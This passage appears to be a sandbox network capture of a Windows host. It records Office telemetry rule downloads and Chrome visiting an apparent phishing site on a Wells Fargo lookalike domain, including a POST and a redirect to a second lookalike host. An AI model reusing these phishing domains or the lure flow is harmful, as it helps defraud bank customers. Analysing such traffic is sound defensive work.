M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:28 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e7ade7f6-801e-00a0-1ef7-352196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194328Z-1749fc9bdbdwv5sghC1DFWm75000000000p000000000fxz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49870	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:28 UTC	763	OUT	GET /favicon.ico HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.secure.access.wellsfarqoadvlsor.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-11-14 19:43:29 UTC	308	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:28 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-14 19:43:29 UTC	6	IN	Data Raw: 37 66 37 39 0d 0a Data Ascii: 7f79
2024-11-14 19:43:29 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 49 6e Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <link href="https://fonts.googleapis.com/css2?family=In
2024-11-14 19:43:29 UTC	16249	IN	Data Raw: 4d 30 49 44 51 78 4c 6a 45 79 4f 44 4e 44 4d 54 51 75 4f 54 55 7a 4e 43 41 30 4d 53 34 78 4d 6a 67 7a 49 44 45 30 4c 6a 6b 31 4d 7a 51 67 4e 44 45 75 4d 54 49 34 4d 79 41 78 4e 43 34 35 4e 54 4d 30 49 44 51 78 4c 6a 45 79 4f 44 4e 44 4d 54 51 75 4f 54 55 7a 4e 43 41 30 4d 53 34 78 4d 6a 67 7a 49 44 45 30 4c 6a 6b 31 4d 7a 51 67 4e 44 45 75 4d 54 49 34 4d 79 41 78 4e 43 34 35 4e 54 4d 30 49 44 51 78 4c 6a 45 79 4f 44 4e 49 4d 54 51 75 4f 54 55 7a 4e 45 67 78 4e 43 34 35 4e 54 4d 30 51 7a 45 30 4c 6a 6b 31 4d 7a 51 67 4e 44 45 75 4d 54 49 34 4d 79 41 78 4e 43 34 35 4e 54 4d 30 49 44 51 78 4c 6a 45 79 4f 44 4d 67 4d 54 51 75 4f 54 55 7a 4e 43 41 30 4d 53 34 78 4d 6a 67 7a 51 7a 45 30 4c 6a 6b 31 4d 7a 51 67 4e 44 45 75 4d 54 49 34 4d 79 41 78 4e 43 34 35 4e Data Ascii: M0IDQxLjEyODNDMTQuOTUzNCA0MS4xMjgzIDE0Ljk1MzQgNDEuMTI4MyAxNC45NTM0IDQxLjEyODNDMTQuOTUzNCA0MS4xMjgzIDE0Ljk1MzQgNDEuMTI4MyAxNC45NTM0IDQxLjEyODNIMTQuOTUzNEgxNC45NTM0QzE0Ljk1MzQgNDEuMTI4MyAxNC45NTM0IDQxLjEyODMgMTQuOTUzNCA0MS4xMjgzQzE0Ljk1MzQgNDEuMTI4MyAxNC45N
2024-11-14 19:43:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-14 19:43:29 UTC	5	IN	Data Raw: 64 36 38 0d 0a Data Ascii: d68
2024-11-14 19:43:29 UTC	3432	IN	Data Raw: 6f 6e 6c 69 6e 65 2e 73 65 63 75 72 65 2e 61 63 63 65 73 73 2e 77 65 6c 6c 73 66 61 72 71 6f 61 64 76 6c 73 6f 72 2e 63 6f 6d 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 61 74 65 22 3e 32 30 32 34 2d 31 31 2d 31 34 20 31 39 3a 34 33 3a 32 38 20 55 54 43 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 Data Ascii: online.secure.access.wellsfarqoadvlsor.com</div> <div class="date">2024-11-14 19:43:28 UTC</div> </div> </div> <div class="main"> <div class="troubleshooting"> <div class="content"> <div c
2024-11-14 19:43:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-14 19:43:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:29 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:29 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ab7d284a-001e-005a-348d-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194329Z-r178fb8d765hbcjvhC1DFW50zc000000030000000000ewk2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:29 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:29 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194329Z-16547b76f7flf9g6hC1DFWmcx800000009r0000000002m6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c1061624-501e-008c-1ca4-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194329Z-1749fc9bdbdxm7w9hC1DFWy1k400000000sg00000000780n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49871	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:29 UTC	1013	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1251 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 X-Goog-AuthUser: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:29 UTC	1251	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 32 30 30 36 2c 5b 5b 22 31 37 33 31 36 31 33 34 30 36 31 38 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],2006,[["1731613406186",null,null,null
2024-11-14 19:43:29 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:29 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:29 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 849cffad-401e-008c-4c40-3686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194329Z-1749fc9bdbdr6qwphC1DFW0nv400000002zg00000000s4ru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49876	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:29 UTC	818	OUT	POST /secure/secure.php HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive Content-Length: 79 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://online.secure.access.wellsfarqoadvlsor.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.secure.access.wellsfarqoadvlsor.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-11-14 19:43:29 UTC	79	OUT	Data Raw: 7b 22 72 69 22 3a 22 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 22 2c 22 69 62 22 3a 22 30 22 2c 22 72 65 22 3a 22 22 2c 22 72 66 22 3a 22 39 33 69 73 78 70 61 71 32 34 66 75 6a 22 7d Data Ascii: {"ri":"5a4d22e2b2bbd8eeecd1e5b6b012d987","ib":"0","re":"","rf":"93isxpaq24fuj"}
2024-11-14 19:43:30 UTC	351	IN	HTTP/1.1 302 Found Date: Thu, 14 Nov 2024 19:43:29 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: https://connect.secure.access.wellsfargoadvlsor.com/MettXckE Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194329Z-16547b76f7f2g4rlhC1DFWnx880000000m30000000002n5w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:30 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:30 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 53e8259c-c01e-0046-51a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194330Z-1749fc9bdbddwt7mhC1DFWssk800000000t000000000uaep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
